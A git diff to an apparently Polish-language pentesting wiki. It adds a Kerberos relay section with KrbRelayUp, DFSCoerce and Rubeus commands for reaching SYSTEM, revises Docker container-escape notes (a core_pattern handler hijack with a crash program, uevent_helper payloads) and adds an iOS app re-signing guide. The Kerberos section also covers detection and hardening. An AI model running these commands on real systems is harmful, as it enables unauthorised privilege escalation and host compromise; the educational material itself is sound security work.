diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 0fee1721f..911b4b8bc 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -316,6 +316,7 @@ - [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md) - [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md) - [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md) + - [Flutter](mobile-pentesting/android-app-pentesting/flutter.md) - [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md) - [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md) - [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md) @@ -342,6 +343,7 @@ - [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md) - [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md) - [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md) + - [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md) - [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md) - [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md) - [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md) diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index 74373b4e6..9752e1d62 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -4,10 +4,10 @@ ## Protokoły sieciowe -### Protokoły lokalnego rozwiązywania nazw +### Protokoły lokalnej rozdzielczości hosta - **LLMNR, NBT-NS i mDNS**: -- Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnego rozwiązywania nazw, gdy DNS zawiedzie. Podobnie, systemy Apple i Linux używają mDNS. +- Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnej rozdzielczości nazw, gdy DNS zawiedzie. Podobnie, systemy Apple i Linux używają mDNS. - Protokoły te są podatne na przechwytywanie i spoofing z powodu ich nieautoryzowanej, rozgłoszeniowej natury w UDP. - [Responder](https://github.com/lgandx/Responder) może być używany do podszywania się pod usługi, wysyłając sfałszowane odpowiedzi do hostów zapytujących te protokoły. - Dalsze informacje na temat podszywania się pod usługi za pomocą Respondera można znaleźć [tutaj](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). @@ -20,7 +20,7 @@ ### Responder do zatruwania protokołów -- **Responder** to narzędzie używane do zatruwania zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadając w zależności od typów zapytań, głównie celując w usługi SMB. +- **Responder** to narzędzie używane do zatruwania zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadając na podstawie typów zapytań, głównie celując w usługi SMB. - Jest preinstalowane w Kali Linux, konfigurowalne w `/etc/responder/Responder.conf`. - Responder wyświetla przechwycone hashe na ekranie i zapisuje je w katalogu `/usr/share/responder/logs`. - Obsługuje zarówno IPv4, jak i IPv6. @@ -32,18 +32,18 @@ - Dla bardziej agresywnego skanowania (z potencjalnymi skutkami ubocznymi): `responder -I -P -r -v` - Techniki przechwytywania wyzwań/odpowiedzi NTLMv1 dla łatwiejszego łamania: `responder -I --lm --disable-ess` - Podszywanie się pod WPAD można aktywować za pomocą: `responder -I --wpad` -- Żądania NetBIOS mogą być rozwiązywane do IP atakującego, a proxy uwierzytelniające można ustawić: `responder.py -I -Pv` +- Żądania NetBIOS mogą być rozwiązywane do IP atakującego, a proxy uwierzytelniające można skonfigurować: `responder.py -I -Pv` ### Zatruwanie DHCP za pomocą Respondera - Podszywanie się pod odpowiedzi DHCP może na stałe zatruć informacje o trasowaniu ofiary, oferując bardziej dyskretną alternatywę dla zatruwania ARP. -- Wymaga to precyzyjnej wiedzy o konfiguracji sieci docelowej. +- Wymaga to dokładnej wiedzy o konfiguracji sieci docelowej. - Uruchamianie ataku: `./Responder.py -I eth0 -Pdv` -- Ta metoda może skutecznie przechwytywać hashe NTLMv1/2, ale wymaga ostrożnego postępowania, aby uniknąć zakłóceń w sieci. +- Ta metoda może skutecznie przechwytywać hashe NTLMv1/2, ale wymaga ostrożnego podejścia, aby uniknąć zakłóceń w sieci. ### Przechwytywanie poświadczeń za pomocą Respondera -- Responder będzie podszywał się pod usługi przy użyciu wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle NTLMv2 Challenge/Response), gdy użytkownik próbuje uwierzytelnić się w podszywających się usługach. +- Responder będzie podszywał się pod usługi korzystające z wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle NTLMv2 Challenge/Response), gdy użytkownik próbuje uwierzytelnić się w podszywających się usługach. - Można próbować obniżyć wersję do NetNTLMv1 lub wyłączyć ESS dla łatwiejszego łamania poświadczeń. Ważne jest, aby zauważyć, że stosowanie tych technik powinno odbywać się legalnie i etycznie, zapewniając odpowiednie upoważnienie i unikając zakłóceń lub nieautoryzowanego dostępu. @@ -62,7 +62,7 @@ Inveigh.exe ``` ### NTLM Relay Attack -Atak ten wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do docelowej maszyny, przyznając powłokę systemową, jeśli się powiedzie. Kluczowe wymagania wstępne obejmują: +Atak ten wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do docelowej maszyny, przyznając powłokę systemową w przypadku sukcesu. Kluczowe wymagania wstępne obejmują: - Użytkownik uwierzytelniający musi mieć dostęp lokalnego administratora na hostie, na który jest przekazywane połączenie. - Podpisywanie SMB powinno być wyłączone. @@ -115,6 +115,113 @@ W systemie Windows **możesz być w stanie wymusić, aby niektóre uprzywilejowa ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}} +## Atak Kerberos Relay + +Atak **Kerberos relay** kradnie **bilet AP-REQ** z jednej usługi i ponownie go wykorzystuje przeciwko drugiej usłudze, która dzieli **ten sam klucz konta komputera** (ponieważ oba SPN znajdują się na tym samym koncie maszyny `$`). Działa to, mimo że **klasy usług SPN różnią się** (np. `CIFS/` → `LDAP/`), ponieważ *klucz*, który odszyfrowuje bilet, to NT hash maszyny, a nie sam ciąg SPN, a ciąg SPN nie jest częścią podpisu. + +W przeciwieństwie do NTLM relay, skok jest ograniczony do *tej samej hosta*, ale jeśli celujesz w protokół, który pozwala na zapis do LDAP, możesz połączyć się z **Resource-Based Constrained Delegation (RBCD)** lub **AD CS enrollment** i uzyskać **NT AUTHORITY\SYSTEM** za jednym razem. + +Aby uzyskać szczegółowe informacje na temat tego ataku, sprawdź: + +- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html) +- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/) + +- 1. **Podstawy Kerberos** + +| Token | Cel | Znaczenie dla relay | +|-------|---------|-----------------| +| **TGT / AS-REQ ↔ REP** | Udowadnia użytkownika KDC | nietknięty | +| **Bilet usługi / TGS-REQ ↔ REP** | Powiązany z jednym **SPN**; zaszyfrowany kluczem właściciela SPN | wymienny, jeśli SPN dzielą konto | +| **AP-REQ** | Klient wysyła `TGS` do usługi | **to, co kradniemy i odtwarzamy** | + +* Bilety są szyfrowane **kluczem pochodzącym z hasła konta, które posiada SPN**. +* **Authenticator** wewnątrz AP-REQ ma znacznik czasu 5 minut; odtworzenie w tym oknie jest ważne, dopóki pamięć podręczna usługi nie zobaczy duplikatu. +* Windows rzadko sprawdza, czy ciąg SPN w bilecie pasuje do usługi, którą trafiasz, więc bilet dla `CIFS/HOST` normalnie odszyfrowuje się poprawnie na `LDAP/HOST`. + +- 2. **Co musi być prawdą, aby przekazać Kerberos** + +1. **Wspólny klucz:** źródłowe i docelowe SPN należą do tego samego konta komputera (domyślnie na serwerach Windows). +2. **Brak ochrony kanału:** SMB/LDAP podpisy wyłączone i EPA wyłączone dla HTTP/LDAPS. +3. **Możesz przechwycić lub wymusić uwierzytelnienie:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fałszywy AuthIP, rogue DCOM, itd. +4. **Źródło biletu nie zostało już użyte:** wygrywasz wyścig, zanim prawdziwy pakiet dotrze lub blokujesz go całkowicie; w przeciwnym razie pamięć podręczna serwera odtwarza zdarzenie 4649. +5. Musisz w jakiś sposób być w stanie przeprowadzić **MitM w komunikacji**, być może będąc częścią grupy DNSAmins, aby zmodyfikować DNS domeny lub być w stanie zmienić plik HOST ofiary. + +### Kroki ataku Kerberos Relay + +- 3.1 **Rozpoznanie hosta** +```powershell +# find servers where HTTP, LDAP or CIFS share the same machine account +Get-ADComputer -Filter * -Properties servicePrincipalName | +Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} | +Select Name,servicePrincipalName +``` +- 3.2 **Uruchom nasłuchiwacz przekazywania** + +[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp) +```powershell +# one-click local SYSTEM via RBCD +.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 +``` +`KrbRelayUp` opakowuje **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** w jednym pliku binarnym. + +- 3.3 **Wymuszenie uwierzytelnienia Kerberos** +```powershell +# coerce DC to auth over SMB with DFSCoerce +.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50 +``` +DFSCoerce sprawia, że DC wysyła nam bilet Kerberos `CIFS/DC01`. + +- 3.4 **Przekaż AP-REQ** + +KrbRelay wyodrębnia blob GSS z SMB, pakuje go ponownie w bind LDAP i przesyła do `ldap://DC01`—uwierzytelnienie się udaje, ponieważ **ten sam klucz** go deszyfruje. + +- 3.5 **Wykorzystaj LDAP ➜ RBCD ➜ SYSTEM** +```powershell +# (auto inside KrbRelayUp) manual for clarity +New-MachineAccount -Name "FAKE01" -Password "P@ss123" +KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID +Rubeus s4u /user:FAKE01$ /rc4: /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt +SCMUACBypass.exe +``` +You now own **NT AUTHORITY\SYSTEM**. + + +### **Więcej ścieżek, które warto znać** + +| Wektor | Sztuczka | Dlaczego to ma znaczenie | +|--------|-------|----------------| +| **AuthIP / IPSec** | Fałszywy serwer wysyła **ładunek GSS-ID** z dowolnym SPN; klient buduje AP-REQ bezpośrednio do ciebie | Działa nawet w różnych podsieciach; domyślne poświadczenia maszyny | +| **DCOM / MSRPC** | Złośliwy resolver OXID zmusza klienta do uwierzytelnienia do dowolnego SPN i portu | Czyste *lokalne* podniesienie uprawnień; omija zaporę | +| **AD CS Web Enroll** | Przekaż bilet maszyny do `HTTP/CA` i zdobądź certyfikat, następnie **PKINIT** do wyprodukowania TGT | Omija zabezpieczenia podpisywania LDAP | +| **Shadow Credentials** | Zapisz `msDS-KeyCredentialLink`, następnie PKINIT z fałszywą parą kluczy | Nie ma potrzeby dodawania konta komputera | + +### **Rozwiązywanie problemów** + +| Błąd | Znaczenie | Naprawa | +|-------|---------|-----| +| `KRB_AP_ERR_MODIFIED` | Klucz biletu ≠ klucz docelowy | Zły host/SPN | +| `KRB_AP_ERR_SKEW` | Zegar > 5 min różnicy | Synchronizuj czas lub użyj `w32tm` | +| Niepowodzenie bindowania LDAP | Wymuszone podpisywanie | Użyj ścieżki AD CS lub wyłącz podpisywanie | +| Spam zdarzeń 4649 | Usługa zauważyła duplikat Authenticator | zablokuj lub wyściguj oryginalny pakiet | + + +### **Wykrywanie** + +* Wzrost w **Zdarzeniu 4769** dla `CIFS/`, `HTTP/`, `LDAP/` z tego samego źródła w ciągu kilku sekund. +* **Zdarzenie 4649** na usłudze wskazuje na wykrycie powtórzenia. +* Logowanie Kerberos z **127.0.0.1** (przekazywanie do lokalnego SCM) jest bardzo podejrzane—mapuj za pomocą reguły Sigma w dokumentach KrbRelayUp. +* Obserwuj zmiany w atrybutach `msDS-AllowedToActOnBehalfOfOtherIdentity` lub `msDS-KeyCredentialLink`. + +## **Wzmacnianie zabezpieczeń** + +1. **Wymuś podpisywanie LDAP i SMB + EPA** na każdym serwerze. +2. **Podziel SPN** tak, aby HTTP nie było na tym samym koncie co CIFS/LDAP. +3. Łatki dla wektorów przymusu (PetitPotam KB5005413, DFS, AuthIP). +4. Ustaw **`ms-DS-MachineAccountQuota = 0`** aby zatrzymać nieautoryzowane dołączenia komputerów. +5. Powiadamiaj o **Zdarzeniu 4649** i nieoczekiwanych logowaniach Kerberos z pętli zwrotnej. + + + ## Odniesienia - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index d51603c6e..59d87320f 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,29 +2,41 @@ {{#include ../../../../banners/hacktricks-training.md}} -Ekspozycja `/proc`, `/sys` i `/var` bez odpowiedniej izolacji przestrzeni nazw wprowadza znaczące ryzyko bezpieczeństwa, w tym powiększenie powierzchni ataku i ujawnienie informacji. Te katalogi zawierają wrażliwe pliki, które, jeśli są źle skonfigurowane lub dostępne dla nieautoryzowanego użytkownika, mogą prowadzić do ucieczki z kontenera, modyfikacji hosta lub dostarczenia informacji wspierających dalsze ataki. Na przykład, niewłaściwe zamontowanie `-v /proc:/host/proc` może obejść ochronę AppArmor z powodu swojej opartej na ścieżkach natury, pozostawiając `/host/proc` bez ochrony. +Ekspozycja `/proc`, `/sys` i `/var` bez odpowiedniej izolacji przestrzeni nazw wprowadza znaczące ryzyko bezpieczeństwa, w tym powiększenie powierzchni ataku i ujawnienie informacji. Te katalogi zawierają wrażliwe pliki, które, jeśli są źle skonfigurowane lub dostępne dla nieautoryzowanego użytkownika, mogą prowadzić do ucieczki z kontenera, modyfikacji hosta lub dostarczyć informacji wspomagających dalsze ataki. Na przykład, niewłaściwe zamontowanie `-v /proc:/host/proc` może obejść ochronę AppArmor z powodu swojej opartej na ścieżce natury, pozostawiając `/host/proc` bez ochrony. -**Szczegółowe informacje o każdej potencjalnej luce można znaleźć w** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** +**Możesz znaleźć dalsze szczegóły dotyczące każdej potencjalnej luki w** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** ## procfs Vulnerabilities ### `/proc/sys` -Ten katalog pozwala na modyfikację zmiennych jądra, zazwyczaj za pomocą `sysctl(2)`, i zawiera kilka subkatalogów budzących niepokój: +Ten katalog pozwala na dostęp do modyfikacji zmiennych jądra, zazwyczaj za pomocą `sysctl(2)`, i zawiera kilka subkatalogów budzących niepokój: #### **`/proc/sys/kernel/core_pattern`** - Opisany w [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). -- Umożliwia zdefiniowanie programu do wykonania przy generowaniu pliku core z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`. +- Jeśli możesz pisać w tym pliku, możliwe jest zapisanie potoku `|` po którym następuje ścieżka do programu lub skryptu, który zostanie wykonany po wystąpieniu awarii. +- Atakujący może znaleźć ścieżkę wewnątrz hosta do swojego kontenera, wykonując `mount` i zapisać ścieżkę do binarnego pliku wewnątrz systemu plików swojego kontenera. Następnie, spowodować awarię programu, aby zmusić jądro do wykonania binarnego pliku poza kontenerem. + - **Przykład testowania i eksploatacji**: - ```bash -[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test dostępu do zapisu +[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access cd /proc/sys/kernel -echo "|$overlay/shell.sh" > core_pattern # Ustaw niestandardowy handler -sleep 5 && ./crash & # Wywołaj handler +echo "|$overlay/shell.sh" > core_pattern # Set custom handler +sleep 5 && ./crash & # Trigger handler ``` +Sprawdź [ten post](https://pwning.systems/posts/escaping-containers-for-fun/) po więcej informacji. +Przykładowy program, który się zawiesza: +```c +int main(void) { +char buf[1]; +for (int i = 0; i < 100; i++) { +buf[i] = 1; +} +return 0; +} +``` #### **`/proc/sys/kernel/modprobe`** - Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). @@ -38,12 +50,12 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe #### **`/proc/sys/vm/panic_on_oom`** - Odniesienie w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- Globalny flag, który kontroluje, czy jądro panikuje, czy wywołuje OOM killera, gdy występuje warunek OOM. +- Globalny flag, który kontroluje, czy jądro panikuje lub wywołuje OOM killera, gdy wystąpi warunek OOM. #### **`/proc/sys/fs`** - Zgodnie z [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), zawiera opcje i informacje o systemie plików. -- Dostęp do zapisu może umożliwić różne ataki typu denial-of-service przeciwko hostowi. +- Dostęp do zapisu może umożliwić różne ataki typu denial-of-service na hosta. #### **`/proc/sys/fs/binfmt_misc`** @@ -51,7 +63,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe - Może prowadzić do eskalacji uprawnień lub dostępu do powłoki root, jeśli `/proc/sys/fs/binfmt_misc/register` jest zapisywalny. - Istotny exploit i wyjaśnienie: - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) -- Szczegółowy tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) +- Szczegółowy samouczek: [Link do wideo](https://www.youtube.com/watch?v=WBC7hhgMvQQ) ### Inne w `/proc` @@ -102,7 +114,7 @@ echo b > /proc/sysrq-trigger # Ponownie uruchamia hosta #### **`/proc/mem`** - Alternatywny interfejs dla `/dev/mem`, reprezentujący pamięć fizyczną. -- Umożliwia odczyt i zapis, modyfikacja całej pamięci wymaga rozwiązania adresów wirtualnych na fizyczne. +- Umożliwia odczyt i zapis, modyfikacja całej pamięci wymaga przekształcenia adresów wirtualnych na fizyczne. #### **`/proc/sched_debug`** @@ -114,13 +126,13 @@ echo b > /proc/sysrq-trigger # Ponownie uruchamia hosta - Dostarcza informacje o punktach montowania w przestrzeni nazw montowania procesu. - Ujawnia lokalizację `rootfs` kontenera lub obrazu. -### `/sys` Vulnerabilities +### Luki w `/sys` #### **`/sys/kernel/uevent_helper`** - Używane do obsługi `uevent` urządzeń jądra. -- Zapis do `/sys/kernel/uevent_helper` może wykonać dowolne skrypty po wyzwoleniu `uevent`. -- **Przykład eksploatacji**: %%%bash +- Zapis do `/sys/kernel/uevent_helper` może wykonywać dowolne skrypty po wyzwoleniu `uevent`. +- **Przykład wykorzystania**: %%%bash #### Tworzy ładunek @@ -144,11 +156,11 @@ cat /output %%% #### **`/sys/class/thermal`** -- Kontroluje ustawienia temperatury, potencjalnie powodując ataki DoS lub fizyczne uszkodzenia. +- Kontroluje ustawienia temperatury, co może prowadzić do ataków DoS lub uszkodzenia fizycznego. #### **`/sys/kernel/vmcoreinfo`** -- Ujawnia adresy jądra, potencjalnie kompromitując KASLR. +- Ujawnia adresy jądra, co może kompromitować KASLR. #### **`/sys/kernel/security`** @@ -158,16 +170,18 @@ cat /output %%% #### **`/sys/firmware/efi/vars` i `/sys/firmware/efi/efivars`** - Ujawnia interfejsy do interakcji z zmiennymi EFI w NVRAM. -- Błędna konfiguracja lub eksploatacja może prowadzić do zablokowanych laptopów lub nieuruchamialnych maszyn hosta. +- Błędna konfiguracja lub wykorzystanie może prowadzić do zablokowanych laptopów lub maszyn hosta, które nie mogą się uruchomić. #### **`/sys/kernel/debug`** - `debugfs` oferuje interfejs debugowania "bez zasad" do jądra. -- Historia problemów z bezpieczeństwem z powodu swojej nieograniczonej natury. +- Historia problemów z bezpieczeństwem z powodu jego nieograniczonej natury. -### `/var` Vulnerabilities +### Luki w `/var` -Folder **/var** hosta zawiera gniazda czasu wykonywania kontenerów i systemy plików kontenerów. Jeśli ten folder jest zamontowany wewnątrz kontenera, ten kontener uzyska dostęp do odczytu i zapisu do systemów plików innych kontenerów z uprawnieniami root. Może to być wykorzystywane do przełączania się między kontenerami, powodowania odmowy usługi lub wprowadzania tylnego wejścia do innych kontenerów i aplikacji, które w nich działają. +Folder **/var** hosta zawiera gniazda czasu wykonywania kontenerów oraz systemy plików kontenerów. +Jeśli ten folder jest zamontowany wewnątrz kontenera, ten kontener uzyska dostęp do odczytu i zapisu do systemów plików innych kontenerów z uprawnieniami root. +Może to być nadużywane do przełączania się między kontenerami, powodowania odmowy usługi lub wprowadzania tylnego wejścia do innych kontenerów i aplikacji, które w nich działają. #### Kubernetes @@ -235,7 +249,7 @@ Kontener może odczytywać tokeny K8s serviceaccount lub tokeny AWS webidentity, ``` #### Docker -Eksploatacja w Dockerze (lub w wdrożeniach Docker Compose) jest dokładnie taka sama, z tym że zazwyczaj systemy plików innych kontenerów są dostępne pod inną podstawową ścieżką: +Eksploatacja w Dockerze (lub w wdrożeniach Docker Compose) jest dokładnie taka sama, z tą różnicą, że zazwyczaj systemy plików innych kontenerów są dostępne pod inną ścieżką bazową: ```bash $ docker info | grep -i 'docker root\|storage driver' Storage Driver: overlay2 diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md new file mode 100644 index 000000000..b4f44cfe6 --- /dev/null +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -0,0 +1,73 @@ +# iOS Pentesting without Jailbreak + +{{#include ../../banners/hacktricks-training.md}} + +## Główna idea + +Aplikacje podpisane z **uprawnieniem `get_task_allow`** pozwalają aplikacjom innych firm na uruchomienie funkcji **`task_for_pid()`** z identyfikatorem procesu początkowej aplikacji jako argumentem, aby uzyskać port zadania nad nią (móc ją kontrolować i uzyskać dostęp do jej pamięci). + +Jednak nie jest to tak proste, jak po prostu pobranie IPA, ponowne podpisanie go z uprawnieniem i wgranie z powrotem na urządzenie. Dzieje się tak z powodu ochrony FairPlay. Gdy podpis aplikacji się zmienia, klucz DRM (Digital Rights Management) jest **unieważniony i aplikacja nie będzie działać**. + +Na starym urządzeniu z jailbreakiem możliwe jest zainstalowanie IPA, **odszyfrowanie go za pomocą ulubionego narzędzia** (takiego jak Iridium lub frida-ios-dump) i pobranie go z powrotem z urządzenia. Chociaż, jeśli to możliwe, zaleca się po prostu poprosić klienta o odszyfrowane IPA. + +## Uzyskanie odszyfrowanego IPA + +### Pobierz z Apple + +1. Zainstaluj aplikację do testowania na iPhonie. +2. Zainstaluj i uruchom [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) na swoim macos. +3. Otwórz `Terminal` na swoim Macu i przejdź do `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA pojawi się w tym folderze później. +4. Powinieneś zobaczyć swoje urządzenie iOS. Kliknij dwukrotnie na nie, a następnie kliknij Dodaj + → Aplikacje w górnym pasku menu. +5. Po kliknięciu Dodaj, Configurator pobierze IPA z Apple i spróbuje wgrać je na twoje urządzenie. Jeśli wcześniej postępowałeś zgodnie z moją rekomendacją i już zainstalowałeś IPA, pojawi się komunikat z prośbą o ponowną instalację aplikacji. +6. IPA powinno być pobrane w `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`, skąd możesz je pobrać. + +Sprawdź [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) po więcej szczegółowych informacji na temat tego procesu. + +### Odszyfrowanie aplikacji + +Aby odszyfrować IPA, zamierzamy je zainstalować. Jednak jeśli masz starego iPhone'a z jailbreakiem, potencjalnie jego wersja nie będzie wspierana przez aplikację, ponieważ zazwyczaj aplikacje wspierają tylko najnowsze wersje. + +Aby je zainstalować, po prostu rozpakuj IPA: +```bash +unzip redacted.ipa -d unzipped +``` +Sprawdź `Info.plist` pod kątem minimalnej obsługiwanej wersji, a jeśli twoje urządzenie jest starsze, zmień wartość, aby była obsługiwana. + +Spakuj ponownie IPA: +```bash +cd unzipped +zip -r ../no-min-version.ipa * +``` +Następnie zainstaluj IPA na przykład za pomocą: +```bash +ideviceinstaller -i no-min-version.ipa -w +``` +Zauważ, że możesz potrzebować **AppSync Unified tweak** z Cydii, aby zapobiec błędom `invalid signature`. + +Po zainstalowaniu możesz użyć **Iridium tweak** z Cydii, aby uzyskać odszyfrowany plik IPA. + + +### Patch entitlements & re-sign + +Aby ponownie podpisać aplikację z uprawnieniem `get-task-allow`, dostępnych jest kilka narzędzi, takich jak `app-signer`, `codesign` i `iResign`. `app-signer` ma bardzo przyjazny interfejs, który pozwala bardzo łatwo podpisać plik IPA, wskazując plik IPA do ponownego podpisania, aby **ustawić `get-task-allow`** oraz certyfikat i profil provisioningowy do użycia. + +Jeśli chodzi o certyfikaty i profile podpisywania, Apple oferuje **darmowe profile podpisywania dla deweloperów** dla wszystkich kont przez Xcode. Po prostu stwórz aplikację i skonfiguruj jeden. Następnie skonfiguruj **iPhone, aby ufał aplikacjom dewelopera**, przechodząc do `Ustawienia` → `Prywatność i bezpieczeństwo`, a następnie kliknij na `Tryb dewelopera`. + + +Z ponownie podpisanym plikiem IPA nadszedł czas, aby zainstalować go na urządzeniu, aby przeprowadzić testy penetracyjne: +```bash +ideviceinstaller -i resigned.ipa -w +``` +### Hook + +Możesz łatwo podłączyć swoją aplikację, używając powszechnych narzędzi, takich jak frida i objection: +```bash +objection -g [your app bundle ID] explore + +``` +## Odniesienia + +- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md index 476808909..27f3d3be5 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md +++ b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md @@ -4,12 +4,12 @@ ## Apple Developer Program -**Tożsamość provisioningowa** to zbiór kluczy publicznych i prywatnych, które są powiązane z kontem dewelopera Apple. Aby **podpisać aplikacje**, musisz zapłacić **99$/rok** za rejestrację w **Apple Developer Program**, aby uzyskać swoją tożsamość provisioningową. Bez tego nie będziesz mógł uruchomić aplikacji z kodu źródłowego na fizycznym urządzeniu. Inną opcją jest użycie **urządzenia z jailbreakiem**. +**Tożsamość provisioningowa** to zbiór kluczy publicznych i prywatnych, które są powiązane z kontem dewelopera Apple. Aby **podpisać aplikacje**, musisz zapłacić **99$/rok**, aby zarejestrować się w **Apple Developer Program** i uzyskać swoją tożsamość provisioningową. Bez tego nie będziesz mógł uruchomić aplikacji z kodu źródłowego na fizycznym urządzeniu. Inną opcją jest użycie **urządzenia z jailbreakiem**. -Od Xcode 7.2 Apple wprowadziło opcję stworzenia **darmowego profilu provisioningowego do rozwoju iOS**, który pozwala na pisanie i testowanie aplikacji na prawdziwym iPhonie. Przejdź do _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Dodaj nowe Apple ID z twoimi danymi) --> _Kliknij na utworzone Apple ID_ --> _Zarządzaj certyfikatami_ --> _+_ (Apple Development) --> _Gotowe_\ +Począwszy od Xcode 7.2, Apple udostępniło opcję stworzenia **darmowego profilu provisioningowego do rozwoju iOS**, który pozwala na pisanie i testowanie aplikacji na prawdziwym iPhonie. Przejdź do _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Dodaj nowe Apple ID ze swoimi danymi) --> _Kliknij na utworzone Apple ID_ --> _Zarządzaj certyfikatami_ --> _+_ (Apple Development) --> _Gotowe_\ \_\_Następnie, aby uruchomić aplikację na swoim iPhonie, musisz najpierw **wskazać iPhone'owi, aby zaufał komputerowi.** Potem możesz spróbować **uruchomić aplikację na urządzeniu mobilnym z Xcode,** ale pojawi się błąd. Przejdź do _Ustawienia_ --> _Ogólne_ --> _Profile i zarządzanie urządzeniami_ --> Wybierz nieufny profil i kliknij "**Zaufaj**". -Zauważ, że **aplikacje podpisane tym samym certyfikatem podpisującym mogą dzielić zasoby w bezpieczny sposób, takie jak elementy keychain**. +Zauważ, że **aplikacje podpisane tym samym certyfikatem podpisu mogą dzielić zasoby w bezpieczny sposób, takie jak elementy keychain**. Profile provisioningowe są przechowywane w telefonie w **`/Library/MobileDevice/ProvisioningProfiles`** @@ -23,7 +23,7 @@ Profile provisioningowe są przechowywane w 